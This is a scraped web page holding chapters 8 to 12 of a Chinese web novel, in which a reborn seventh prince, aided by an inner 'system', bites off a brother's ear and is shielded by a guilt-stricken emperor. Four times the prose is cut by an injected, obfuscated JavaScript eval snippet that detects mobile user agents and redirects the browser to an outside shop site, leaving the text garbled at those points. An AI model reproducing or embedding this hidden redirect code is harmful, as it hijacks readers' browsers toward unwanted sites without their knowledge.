这些内容对他而言太过浅显,实在无趣! 果然,当周太傅提问“学而时习之”何解时,目光扫过堂下,见李常安低着头,便点了一名学子回答。 那学子站起身,朗声道:“回太傅,此言意为治学当时时温习实践,方能心生喜悦,学有所成……” 回答的声音清越,条理清晰。 “那是镇国公世子,迟宴。”旁边的李常远凑过来,极小声道,“他功课可好了!” 迟宴?李常安回头看向那道身影。 前世与他针锋相对、最终亦间接导致他含冤而死的政敌之一。 似乎是察觉到他的视线,迟宴回答完毕坐下时,目光不悦地扫过李常安所在的地方。 李常安垂下眼帘,掩去眸中情绪。 很好,看来这辈子,这位世子爷对他的第一印象也不怎么样。 课间休息时,学子们纷纷活动。 李常安不欲惹人注意,仍坐在位置上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668874|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着毛笔,在纸上慢吞吞地描红。 李常睿带着几个跟班晃了过来,一把抽走他桌上的纸,大声念道: “人之初,哈哈!七弟,你还在描《三字经》啊?我们可都开始读《论语》了!” 周围响起一阵压抑的窃笑。 李常安抬起头,看着李常睿,眼神平静无波,只淡淡道:“五皇兄,请把纸还我。” 许是他太过平静,李常睿反而觉得无趣,将纸往他桌上一扔,讥讽道:“真是块木头!无趣!” 说罢,带着人扬长而去。 李常远在一旁气得鼓起了腮帮子,却又不敢出声反驳,只等李常睿走了,才小声安慰李常安: “七弟,你别理他!他……他就是那样!” “无妨。”李常安重新铺好纸,继续慢条斯理地描红,仿佛刚才的一切从未发生。 这一幕,落在了不远处迟宴的眼中。 他微微蹙眉,觉得这位七皇子要么是太过懦弱,要么就是……太过沉得住气。 无论是哪种,都让他觉得有些不舒服。 上午的课程结束后,学子们各自散去用午膳。 皇子们有专门的膳堂。 李常安跟着李常远走过去,刚坐下,太子李常宸便走了进来。 “参见太子殿下/二皇兄。”众人纷纷起身行礼。 太子笑容温和:“都是自家兄弟,不必多礼。” 他的目光扫过众人,落在李常安身上时顿了顿,“七弟第一日入学,可还习惯?” 李常安起身,恭敬回答:“谢二皇兄关怀,一切都好。” “若有不适,或课业上有何难处,尽管来问为兄。”太子语气亲切,尽显兄长风度。 “是,谢二皇兄。”李常安再次垂首。 太子又勉励了众人几句,便在自己的专属位置坐下用膳。 席间,他看似与身旁的迟宴低声交谈,眼角的余光却不时掠过安静用餐的李常安。 午后是骑射课,位于弘文馆旁的演武场。 考虑到李常安病体初愈,太傅特许他只在旁观摩,不必下场。 李常安乐得清闲,坐在场边的凉棚下,看着场中少年们挽弓搭箭,或策马奔驰。 五皇子李常睿有意卖弄,箭矢连连中靶,引来一片叫好。 他得意洋洋地看向凉棚,却见李常安正低头看着自己的手指,仿佛那比骑射更有趣,顿时一阵气闷。 迟宴的骑射功夫在一众学子中堪称佼佼者,动作干净利落,箭无虚发,引得负责教习的武将连连点头。 六皇子李常远似乎于此道颇有天赋,虽然动作还有些生涩,但准头不错。 只是每射一箭都下意识地缩缩脖子,惹得惠妃派来暗中观察的嬷嬷直跺脚。 李常安将这一切尽收眼底,心中毫无波澜。 少年人的意气风发,争强好胜,于他而言,早已是隔世之景。 放学时分,青篷小车载着李常安返回乾西五所。 素心早已备好了热水和清淡的膳食。 【宿主,学宫生活初体验感觉如何?】007关切的问道。 “乏善可陈。”李常安评价道,“但若能一直如此‘乏善可陈’,倒也不错。” 9. 第 9 章 是夜,养心殿内烛火摇曳。皇帝李弘批阅完奏折,沉入梦境。 这次的梦境,不再是模糊的片段,而是清晰得令人心颤。 他看见李常安被押赴刑场,千刀万剐,血肉模糊,却至死未曾求饶。 他看见行刑之后,天空晦暗,大雨滂沱,冲刷着刑场的血迹。 一个老太监,曾是伺候过宁嫔的老人,在雨夜中跪在冷宫门外,哭喊着: “报应啊!都是报应!宁嫔娘娘,您当年换了皇子,害死八殿下,如今七殿下也……老天爷开开眼吧!” “换皇子”三个字,如同惊雷在他梦中炸响! 紧接着,画面流转。 先是,大皇子李常川在府中密室内,对着心腹得意低语: “那蠢货李常睿,不过是本王手中的一把刀。还有太子,真以为他那条腿是七弟害的? 呵!只可惜了李常安,那般才干,若不是皇后嫡出,不,他若真是皇后嫡出,本王反而不敢动他了。” 接着,是德妃阴冷的声音响起:“死无对证才好。宁嫔疯了,那个知情的嬷嬷也‘病故’了。 陛下就算日后有所察觉,也只能怪太子搜集‘罪证’不力,怪他自己识人不明!” 最后,是太子李常宸,瘸腿之后,性情大变,偏执地认定是李常安所为,暗中收集小七的“通敌罪证”,被人当枪使用… 真相如同剥茧抽丝,血淋淋地摊开在他面前! 不是通敌!是构陷!是兄弟阋墙!是后宫阴私! 而他,他这个父皇,这个皇帝,竟是最大的帮凶! 他因为宁嫔的缘故,内心深处始终对李常安的身世存着一丝连自己都不愿深究的疑虑。 觉得他样貌不似自己,早产的婴儿出生时却像足月的婴儿,这份疑虑成了猜忌的土壤! 他轻信了谗言,纵容了陷害,亲手下令处死了小七! “常安——!”皇帝嘶吼着从梦中惊醒,浑身冷汗淋漓,心脏绞痛难忍,泪水竟不受控制地涌出眼眶。 那无尽的懊悔与愧疚,如同万蚁噬心,几乎让他窒息。 他错了!错得离谱! “陛下!”王公公惊慌上前。 “滚!都给朕滚出去!”皇帝暴怒地挥退所有人,独自在空荡的大殿内,像一头受伤的困兽,发出压抑而痛苦的喘息。 他想起李常安小时候,也曾用亮晶晶的眼睛看着他,他却因宁嫔而鲜少抱他。 想起他稍大些,展现出过人天赋时,自己那复杂难言的心情。 想起他每次得到自己一点点肯定时,那掩饰不住的欣喜… “查!给朕狠狠地查!” 天亮后,皇帝赤红着眼睛对暗卫下令: “宁嫔,八皇子,当年所有接触过的人,朕都要知道真相!还有保护好七皇子,绝不能让他再出任何意外!” 午休时分,弘文馆内,学子们三三两两在廊下休息。 李常安独自坐在角落,看着庭院里的海棠花。 沈清在一旁安静地看书,程小虎则有些无聊地活动着手脚。 五皇子李常睿昨日被李常安那平静的一眼看得心里发毛,回去后越想越气,觉得自己竟被个废物吓住,实在丢人。 今日见李常安又是这副与世无争的样子,恶向胆边生,带着两个跟班晃了过去。 “哟,七弟,又在装深沉呢?” 李常睿一把抢过程小虎刚给李常安倒的水,故意手一歪,半杯温水全泼在了李常安的前襟上,顿时湿了一片。 程小虎腾地站起来:“五殿下!” 沈清也合上书,蹙眉看去。 李常安看着衣襟上的水渍,没有说话,只是慢慢抬起头,看向李常睿。 那眼神,让李常睿莫名地想起了昨天那令人心悸的一瞥。 但李常睿还是强自镇定,嗤笑道:“怎么?不服气?你个连娘都不要的野种!也配跟我们一起读书?” “野种”二字,如同毒针,狠狠刺入李常安的耳中。 前世的屈辱、宁嫔疯狂的咒骂、被至亲背叛的痛苦…在这一瞬间汹涌爆发! 前世被李常睿泼墨水、撕书本、当马骑的画面,和眼前李常睿嚣张的嘴脸渐渐重合! 【警告!宿主精神遭受强烈刺激,肾上腺素飙升!建议冷静!】007的警报声尖锐响起。 但这一次,李常安没有压制那股戾气! 在所有人惊愕的目光中,一向温顺懦弱的七皇子,猛地像一头被激怒的猫,狠狠撞向李常睿! “啊!”李常睿猝不及防,被撞得踉跄后退,差点摔倒。 他惊呆了,随即暴怒:“你敢撞我?!给我按住他!” 他的两个跟班反应过来,上前就要抓李常安。 “住手!”程小虎大吼一声,就要冲上来护主。 “程小虎别动!”李常安厉声喝道,眼神凶狠得吓人。 他要亲手教训这个蠢货!前世李常睿死得太早,让他根本没机会报仇! 正好!今天就一起算算! 而且他身形虽小,但这个月日日锻炼,动作远比看起来灵活。 李常安躲开一个李常睿跟班的手,低头狠狠撞向另一个的肚子,在那人吃痛弯腰时,抓起桌上的一方石砚,就朝着李常睿砸去! 李常睿吓得侧头一躲,石砚擦着他的额角飞过,留下一条血痕。 “啊!我的脸!”李常睿摸到血迹,又惊又怒,彻底失去了理智,扑上来和李常安扭打在一起。 他年纪大力气大,很快将李常安压在身下,抡起拳头就要打。 “殿下!”沈清脸色发白,想上前又怕添乱。 程小虎急得团团转,得到李常安不准插手的命令,他不敢违抗。 就在李常睿的拳头即将落下时,被压制住的李常安眼中闪过凶光! 前世屈辱的记忆与眼前的压迫重合,李常安猛地仰头,张开嘴,用尽全身力气,狠狠咬向了李常睿的耳朵! “啊——!!!”一声凄惨至极的惨叫响彻整个弘文馆! 李常睿猛地弹开,捂住左耳,鲜血瞬间从他的指缝中汹涌而出! 他摊开手,只见掌心赫然躺着一小块血肉模糊的耳廓! 李常安吐掉口中的血腥,抹了一把嘴角的血迹,站在那里,眼神冰冷地看着惨叫不止的李常睿,胸口剧烈起伏。 整个弘文馆死一般寂静! 所有皇子、伴读、侍立的太监都惊呆了,难以置信地看着眼前这一幕。 一向被欺负了只会默默忍受的七皇子,竟然……竟然咬掉了五皇子的一块耳朵?! 六皇子李常远被吓得脸色惨白,躲到了柱子后面。 太子李常宸闻声赶来,看到这血腥场面,也是倒吸一口凉气,看向李常安的目光充满了震惊。 迟宴紧随太子而来,看到嘴角带血的李常安和惨叫着的李常睿,瞳孔骤缩。 李常睿的伴读和跟班们这才反应过来,慌忙上前扶住惨叫连连的五皇子,有人尖叫着去传太医。 “李常安!我要杀了你!我要告诉母妃!告诉父皇!杀了你!”李常睿疼得涕泪横流,疯狂地嘶吼着。 混乱中,程小虎和沈清已经护在了李常安身前,虽然心中骇然,但立场分明。 “怎么回事!”一个威严而带着急切的声音响起。 皇帝李弘,竟在此时匆匆赶到! 他显然是接到了王公公的急报,连龙辇都没坐,直接快步而来。 他的目光先是看向惨叫的李常睿,当看到李常睿的耳朵缺失一角时,眼角猛地一跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668875|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着目光又瞥向站在中央,嘴角带血、眼神冰冷却毫无惧色的李常安。 梦中的场景与眼前这倔强染血的小脸重叠,太像了!心脏瞬间堵的难受! “父皇!父皇!七弟他疯了!他咬掉了我的耳朵!您要为我做主啊!” 李常睿看到皇帝,如同看到了救星,哭喊着扑过来。 丽妃也闻讯赶来,看到儿子的惨状,尖叫一声:“睿儿!我的儿!” 她猛地看向李常安,眼神怨毒如同淬了毒的刀子。 “陛下!七皇子如此凶残,竟对兄长下此毒手!您定要严惩!处以重刑!” 所有人都看向皇帝,等待着他的裁决。 按照宫规,残害兄弟,乃是重罪! 皇帝的目光从状若疯狂的丽妃和哭嚎的李常睿身上移开,最终落在沉默不语的李常安身上。 梦中那“换皇子”的线索、李常安可能承受的冤屈和眼前的场景交织在一起。 保护欲和愧疚感瞬间压过了一切! 皇帝轻轻吐了一口气,声音带着凌厉的威严:“闭嘴!” 一声厉喝,让丽妃的哭诉和李常睿的惨叫都卡在了喉咙里。 皇帝看向周太傅和闻讯赶来的其他几位皇子:“谁能告诉朕,究竟发生了何事?” 太子迟疑了一下,刚想开口。 程小虎却抢先一步,“噗通”跪下,大声道: “启禀陛下!是五殿下挑衅在先,抢了七殿下的水还泼了殿下一身,又辱骂七殿下是是‘野种’!七殿下是被逼急了才动手的!” 沈清也紧接着躬身道:“陛下,小虎所言属实。五殿下言辞确实过分。” 李常睿脸色一变,想要反驳,却被皇帝冰冷的眼神制止。 皇帝的目光扫向周围其他学子,那些人都下意识地低下了头,不敢作伪证。 “常睿,”皇帝的声音听不出喜怒,“你可知罪?” 李常睿愣住了,丽妃也愣住了。 “陛下!明明是七皇子……” “朕问的是李常睿!” 皇帝打断丽妃,目光如炬地盯着五皇子,“身为兄长,不友爱兄弟,口出恶言,挑衅滋事,以致兄弟相残!你该当何罪!” 李常睿被皇帝的气势吓住了,加上耳朵剧痛,支支吾吾说不出话来。 皇帝又看向李常安,语气稍微缓和,却依旧严肃:“常安,你动手伤及兄长,手段过激,亦有错处。 罚你禁足乾西五所三日,抄写《弟子规》百遍,静思己过!” 这惩罚…简直轻得不能再轻!几乎可以说是明目张胆的偏袒! 所有人都惊呆了!连李常安都有些意外地抬起了头。 丽妃不敢置信地尖声道:“陛下!睿儿他耳朵都……” “够了!”皇帝厉声喝道。 “若非你平日疏于管教,纵容他嚣张跋扈,何以至此? 丽妃,你也回宫反省去吧!太医,还不快给五皇子诊治!” 皇帝金口玉言,一锤定音。 他不再看任何人,走到李常安面前,看着他还带着血迹和倔强的小脸,心中百感交集,最终只是沉声道:“跟朕回去。” 说完,竟亲自拉着李常安的手,在所有人震惊的目光中,离开了弘文馆。 留下身后一片死寂,和丽妃母子怨毒不甘的眼神。 太子看着父皇离去的背影,心中巨震。 父皇对七弟的维护,竟已到了如此地步?! 迟宴看着地上那摊血迹和那块小小的耳廓残骸,再回想李常安的眼神。 第一次意识到,这位七皇子,恐怕非任人拿捏的病猫,不容小觑。 而李常安,被皇帝温热的大手牵着,感受着前所未有的庇护,心中却并无多少喜悦。 10. 第 10 章 回到乾西五所,皇帝并未立刻离开。 他屏退左右,只留王公公在门外守候。 室内只剩下父子二人。 李常安垂首站着,衣襟上的水渍未干,嘴角的血迹也已凝固,小小的身影显得孤寂而倔强。 “常安,”皇帝的声音带着一种罕见的温和。 “今日之事你受委屈了。” 李常安被他的语气吓了一跳,抬起头看向李弘。 接着反应过来,连忙低头道:“儿臣冲动,伤了五皇兄,请父皇责罚。” 皇帝看着他这副模样,心中酸涩难言。 他走上前,想摸摸孩子的头,手伸到一半,却又顿住,最终只是轻轻拍了拍李常安的肩膀。 “朕知道,是常睿挑衅在先,言语尤为不堪。” 皇帝斟酌着用词,“‘野种’二字,绝非兄长该对弟弟所言。他受此教训,亦是活该。” 李常安猛地抬起头,眼中闪着难以置信。 父皇竟如此直白地偏袒他? 皇帝看着他眼中的惊愕,叹了口气: “你是朕的儿子,是大晟朝的七皇子,这一点,毋庸置疑。日后若再有人敢以此辱你!” 他顿了顿,语气转为帝王的冷厉,“你大可告诉朕,朕为你做主!” 这话语中的维护之意,几乎毫不掩饰。 李常安心头震动,面上却依旧维持着平静:“儿臣,谢父皇。” 皇帝深深看了他一眼,知道心结非一日可解。 他转而问道:“你的伤可要让太医看看?” “谢父皇,儿臣无碍。”李常安摇头。 皇帝不再多言,嘱咐他好生休息,三日后解禁,便起驾离开了。 走出乾西五所,皇帝的脸色瞬间阴沉下来,对王公公吩咐: “去查!今日弘文馆内,除了李常睿,还有谁曾对七皇子不敬!还有,丽妃那边,给朕盯紧了!” “老奴遵旨。”王公公看着皇上难看的脸色连忙低头应道。 皇帝今日在弘文馆如此明目张胆的偏袒,如同在滚沸的油锅中泼入一瓢冷水,瞬间在整个皇宫炸开了锅。 丽妃宫中,瓷器碎裂声不绝于耳。 “陛下!您怎能如此偏心!睿儿的耳朵,他的耳朵缺了一块啊!” 丽妃哭得梨花带雨,状若疯狂,“那李常安就是个疯子!陛下您被他蒙蔽了啊!” 李常睿耳朵包裹着厚厚的纱布,疼得龇牙咧嘴,更是恨得咬牙切齿: “母妃!我要他死!我一定要他死!” “闭嘴!”丽妃猛地喝道,眼中闪烁着怨毒和算计。 “陛下如今正向着他,我们不能再明着动手。但这事,没完!” 长春宫内,皇后闻讯,久久不语。 关嬷嬷低声道:“娘娘,七殿下此番怕是彻底将丽妃母子得罪死了。 陛下虽加以维护,但丽妃娘家势大,只怕……” 皇后捻动佛珠的手停下,眼中闪过一丝讶异:“常安竟有如此血性。本宫原以为他性子过于绵软了。” 她顿了顿,“陛下对他,似乎不同寻常。去!将库房里那瓶上好的金疮药,还有安神的香料,给七皇子送去。 告诉他,兄弟阋墙,终非幸事,但亦不可任人欺凌。” 这话,已是带着明显的回护之意。 惠妃得知消息后,先是吓了一跳,随即竟拍腿笑了起来:“好小子!有种! 远儿你看见没?这才叫爷们!以后多跟你七弟学学,该硬气的时候就得硬气!别整天跟怂包似的!” 她全然忘了自己方才听到消息时惊得差点跳起来。 李常远缩了缩脖子,小声道:“七弟……他咬人……好吓人!” 说是这么说,但李常远眼神里,没有害怕,明明是崇拜的意味。 太子东宫,太子李常宸端坐于榻上。 他实在无法将记忆中阴郁懦弱的小七,与今日咬掉五弟耳朵的小七联系起来。 迟宴立于一旁,眉头紧锁:“殿下,七皇子此举,虽事出有因,但手段未免太过狠辣。而且陛下的态度,实在耐人寻味。” 他回想起李常安的眼神,心中有些忧虑。 太子沉吟道:“父皇对七弟的维护,已然超乎常理。” 他总觉得,背后还有更深的原因。 “宴弟,日后在弘文馆,对七弟需多加留意。” 迟宴拱手:“臣明白。” 最平静的,反而是一心“修仙”的大皇子李常川。 丹房内,大皇子李常川的心腹详细禀报着弘文馆的冲突和皇帝的反应。 李常川缓缓睁开眼,嘴角勾起一抹诡异的笑容: “咬耳朵?呵!我这七弟,倒是给了本王一个惊喜。丽妃那个蠢货,怕是真要气疯了。” “殿下,我们是否要……” “不急!”李常川摆手,“让他们斗去。火候还不够。让人将今日的消息散布出去,就说七皇子颇得圣宠。” 他要把水搅得更浑。李常安越是表现得与众不同,越是能吸引所有的火力。 而他,只需在幕后,静静等待时机。 乾西五所内,李常安屏退了沈清和程小虎,换了干净衣衫。 【宿主,您刚才太冲动了!虽然很解气,但是不是太惹眼了?要不是皇上护着。】007担忧地说道。 “忍无可忍,便无需再忍。”李常安语气平静,仿佛刚才那个发狠咬人的不是他。 “一味的退让,只会让他们觉得我好欺负。今日之后,至少李常睿之流,再想欺我,也得掂量掂量。” 他需要立威,需要让所有人知道,他李常安并非没有爪牙。 再说!最坏的结果,不就是被赶出宫,贬为庶人,这不是正和他意! 父皇的偏袒,倒是让他很意外!只是不知父皇到底是何目的? 【可是,宿主,丽妃那边肯定不会善罢甘休的。】 “我知道。”李常安走到窗边,看着外面渐渐暗下来的天色,“所以,我们不能被动等待。” 【宿主您有什么打算?】 “系统,你之前说,完成‘强身健体’后,可以开启更多辅助功能?”李常安在心中问道。 【是的宿主!可以开启‘基础扫描’功能,能对近距离目标进行基础信息扫描,包括体质、情绪状态、是否携带恶意等。还可以开启‘知识库查询’功能!】007兴奋地介绍道。 “开启基础扫描。”他需要更敏锐地感知周围的危险。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668876|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【叮!消耗积分,基础扫描功能已开启!】 一股无形的波动以李常安为中心扩散开来,他感觉自己的感知似乎变得更加敏锐,能隐约察觉到门外素心的气息,以及更远处一些宫人走动。 很好,这能帮助他更好地判断形势。 就在这时,素心在门外禀报:“殿下,皇后娘娘派人送来了金疮药和安神香。” 李常安眸光微动:“代我谢过母后。” 紧接着,惠妃、甚至贤妃都派人送来了压惊的礼物。 连太子也派人送来一套文房四宝,言称“盼七弟静心习字,修身养性”。 晚膳时分,王公公亲自带着御膳房精心准备的膳食而来,说是陛下特意吩咐,给七皇子压惊。 “殿下,陛下还让老奴传话,请您安心禁足,三日后,一切如常。”王公公态度恭敬无比。 “有劳王公公。”李常安颔首。 送走王公公,李常安拿起筷子,夹起一块鲜嫩的鱼肉,放入口中,慢慢咀嚼。 养心殿内,皇帝看着暗卫呈上的密报,上面详细记录了各宫对今日之事的反应。 当看到大皇子李常川暗中派人散播消息时,他眼中闪过冷厉的寒光。 “这么沉得住气,难怪梦中能……”皇帝喃喃自语,将密报凑近烛火,看着它化为灰烬。 清晨,有关七皇子“戾气过重”、“性情暴虐随其生母”的流言便开始在宫中悄然散播。 虽未明指,但那含沙射影的意味,直指李常安也遗传了宁嫔的疯病。 丽妃宫中,她正对着铜镜,由宫女小心翼翼地为她梳妆。 “娘娘,流言已经散出去了。”心腹宫女低声道。 丽妃嘴角勾起一抹冷笑:“很好。本宫倒要看看,一个被贴上‘疯病’标签的皇子,还能得陛下几分圣心! 去,让父亲在朝中联络几位御史,时机成熟时,便上奏弹劾七皇子残害手足,德行有亏!” “是。” 消息传到乾西五所。 007愤愤不平道,【宿主,他们这是在污蔑您!】 “欲加之罪,何患无辞。” 李常安在心中回应,“由他们说去。父皇若信,我便认;若不信,这些流言不过是清风过耳。” 果然,午时刚过,王公公便亲自来了一趟乾西五所。 不仅带来了皇帝赏赐的几样精巧玩物,还特意当着不少宫人的面,对李常安和颜悦色地说: “陛下让老奴告诉殿下,安心静养,勿要被外界纷扰所困。 陛下还说,殿下临的这幅帖,笔力虽稚嫩,却隐见风骨,假以时日,必成大器。” 这话,既是安抚,也是表态。 王公公一走,宫人们看待李常安的眼神愈发恭敬。 陛下这是明摆着告诉所有人,他根本不在乎那些流言蜚语!明摆着要护着七殿下! 太子李常宸听闻此事,在书房中沉默良久,对迟宴叹道: “父皇对七弟的维护,已到如此地步。那些流言,非但伤不了七弟分毫,只怕还会引火烧身,这丽妃也是蠢!” 迟宴目光微凝:“殿下,臣总觉得,七皇子不简单!” 太子颔首:“且看吧!这潭水,是越来越深了。” 11.第 11 章 皇帝对李常安毫不掩饰的维护,暂时镇住了李常安因“咬耳事件”而掀起的波澜。 养心殿内,烛火通明。 皇帝面前摊开着暗卫新呈上的密报,上面详细罗列了近年来与宁嫔、映月宫有过接触的人员名单,以及当时生产前后,太医院记录与当值宫人的口供碎片。 “陛下,”暗卫首领暗河躬身禀报道,“根据核查,宁嫔娘娘生产时,除了当值的刘太医和几位奶嬷嬷,还有一人曾短暂进入过产房后殿……” 皇帝目光一凝:“谁?” “是……德妃娘娘宫里的一个老嬷嬷,姓孙,说是奉德妃之命,送些安神的药材给宁嫔娘娘。 但据当时在外间伺候的一个小宫女模糊回忆,孙嬷嬷进去的时间,似乎比声称的要稍长一些,而且出来时神色有些匆忙。” “德妃……”皇帝眼中寒光闪烁。 德妃,是四皇子生母,平时温婉恭谦,与世无争,但其父兄在朝中势力盘根错节,与大皇子李常川似有若无的关联,皇帝并非毫无察觉。 “那个孙嬷嬷呢?” “七皇子出生后不到半年,孙嬷嬷便染病身亡了。”暗河声音更低。 “染病身亡?”皇帝冷笑一声,“真是巧得很!”梦中所闻“死无对证”之言,再次回响耳边。 他几乎可以肯定,常安的身世绝对有蹊跷! “继续查!重点查德妃和大皇子!还有,当年为宁嫔接生的稳婆,务必找到下落!”皇帝声音冷厉。 “遵旨。”暗卫首领暗河躬身退下。 这日午后,弘文馆刚散学。 沈清板着一张严肃的小脸,将今日的功课笔记双手呈上:“殿下,这是今日周太傅讲解的《论语·为政篇》注解,重点之处臣已用朱笔标出。” 李常安接过笔记,随手翻看。 不得不说,沈清做事确实细致,连太傅随口提到的典故都标注得清清楚楚。 沈清的目光很快就被书案上那本摊开的《三字经》吸引了过去——确切地说,是被经书上那些活灵活现的小乌龟吸引了。 只见“人之初”旁边画着一只探头探脑的乌龟,“性本善”边上趴着一只四脚朝天的乌龟,最绝的是在“教之道”旁边,居然画了一只戴着儒生方巾的乌龟,正在摇头晃脑地读书。 “咳咳。”沈清显然也注意到了这些乌龟,强忍着笑意,“殿下的描红……颇有进步。” 程小虎可没沈清那么含蓄,直接凑过来指着那只戴方巾的乌龟哈哈大笑: “殿下,您这乌龟画得可真传神!特别是这只,跟周太傅讲课时的样子一模一样!” 李常安慢条斯理地提起笔,在“贵以专”旁边又添了一只打瞌睡的乌龟,这才抬眼看向程小虎。 “听说你昨日在演武场,把五皇兄的伴读王公子摔了个狗吃屎?” “那是!”程小虎立刻来劲了,手舞足蹈地比划起来。 “那小子想从背后偷袭俺,被俺一个过肩摔,啪叽一声就趴地上了!您没看见他那样子,活像只翻了盖的王八……” “程小虎!”沈清急忙打断他,紧张地看向李常安,“殿下恕罪,程伴读他口无遮拦……” “无妨。”李常安摆手,眼中带着笑意,“摔得好。不过……” 他故意顿了顿,看着程小虎瞬间紧张起来的脸,慢悠悠地说:“下次记得选个没人的地方。” 程小虎先是一愣,随即恍然大悟,拍着胸脯保证:“殿下英明!俺记住了,下次一定找个僻静角落再摔!” 沈清扶额叹息,已经开始为程小虎的未来担忧了。 李常安却觉得心情颇好,又提笔在经书空白处画了只叉腰得意的乌龟,旁边写上三个小字:“程小虎”。 “殿下!您这画的什么呀!”程小虎凑过来一看,顿时炸毛。 沈清忍俊不禁:“殿下画得……颇为神似。” 书房内一时充满了快活的空气。 是夜,李常安正准备歇下,脑海里突然响起007一惊一乍的声音:“宿主宿主!重大发现!” 李常安动作一顿,不动声色地在心中回应:“说。” “我、我刚刚整理数据库,突然发现我有个兑换功能!”007的声音带着难以置信的雀跃,“原来我这么厉害的嘛!” 李常安:“……..” 他现在很怀疑这个系统是不是出厂时摔坏了脑子。 “宿主您看!”007完全没察觉宿主的无语,兴奋地调出一个光屏界面。 “这里可以兑换好多好东西!21世纪的零食、未来的科技产品、还有各种知识技能……虽然有些现在权限不够,但是基础的可多了!” 李常安挑眉:“所以?” “所以宿主您要不要试试?”007的声音充满期待。 “今天特价,青瓜味薯片只要3积分!冰镇可乐5积分!巧克力奶茶8积分!买二送一哦!” 李常安慢条斯理地擦了擦手,在心中淡淡道:“我怎么知道这些东西是不是真如你所说那般美味?若是言过其实,我岂不是亏了积分?” “绝对不会!”007急忙保证,“系统出品,必属精品!” “口说无凭。”李常安在桌前坐下,指尖轻叩桌面,“这样吧,你先让我试吃试喝,若真如你所说,我再考虑兑换。” “好嘞!”007想也不想就答应了,“这就为宿主开启体验模式!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679172|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一秒,李常安面前凭空出现了一小袋薯片、半杯可乐和几口量的奶茶。 他先是谨慎地检查了一番,确认无毒后,才依次品尝起来。 薯片确实清脆爽口,带着清新的青瓜香气;可乐的气泡感十足,冰凉爽快;奶茶香浓顺滑,珍珠Q弹有嚼劲。 即便是尝遍宫廷美味的李常安,也不得不承认这些零食甚是美味。 “尚可。”他给出评价。 “那宿主现在要兑换吗?”007迫不及待地问。 李常安却话锋一转:“这些既是试吃品,想必是不收费的吧?” “当然不……等等!”007终于反应过来,声音都变了调,“宿主您该不会是打算……” “嗯,”李常安满意地点头,“既然试吃品已经满足了口感,那便不必再浪费积分兑换了,多谢。” “啊啊啊!宿主您欺负系统!”007气得在脑海里直打转。 “我、我怎么会遇到这样的宿主!别的宿主都是求着系统开放功能,您居然、居然白嫖!” 随着它的抱怨,李常安惊讶地看到,一团朦胧的白色雾状小麒麟在他面前凝聚成形,虽然看不清具体样貌,但那跺脚炸毛的样子倒是栩栩如生。 “这是……你的本体?”李常安难得露出诧异的神色。 小麒麟气呼呼地甩着尾巴:“才不是!这只是我的意识投影啦!都怪宿主太气人,把我的能量都气波动了!” 李常安若有所思地看着那团蹦跶的白雾,忽然问道:“你可有实体?” 小麒麟顿时蔫了,雾气都淡了几分:“现在没有……要是宿主好好做任务,多攒积分,说不定以后就能兑换实体了……”说到最后,声音里带着几分委屈和期待。 李常安眼中闪过一丝了然。 原来如此,这傻系统打着零食的幌子,最终目的在这儿等着他呢。 他伸手想去碰触那团白雾,手指却径直穿了过去,只感受到一丝温凉的能量波动。 “虚无缥缈,触之不得。”他收回手,语气平淡,“确实该有个实体。” 小麒麟的雾气瞬间又凝实起来,欢快地在空中转了个圈:“宿主您同意啦?” “看你表现。”李常安重新躺回床上,闭目前最后说了句。 “明日若还能找到像今晚这般''意外发现''的功能,或许我会考虑认真做任务。” 白色小麒麟僵在半空,雾气剧烈翻腾——宿主这分明是在暗示它继续“发掘”新功能!它这是被反套路了吗?! 看着已经安然入睡的宿主,007欲哭无泪。 为什么别人家的宿主都被系统拿捏得死死的,轮到它这里就完全反过来了啊! 12.第 12 章 养心殿内,太医院院判张太医背着药箱,额角渗出细密的汗珠。 “陛下的意思是……七殿下如今身子骨究竟如何?”王公公在一旁代为发问,语气低沉。 张太医不敢怠慢,如实回禀:“回陛下,七殿下先天不足,后天在西三所又亏空得厉害,元气大伤。 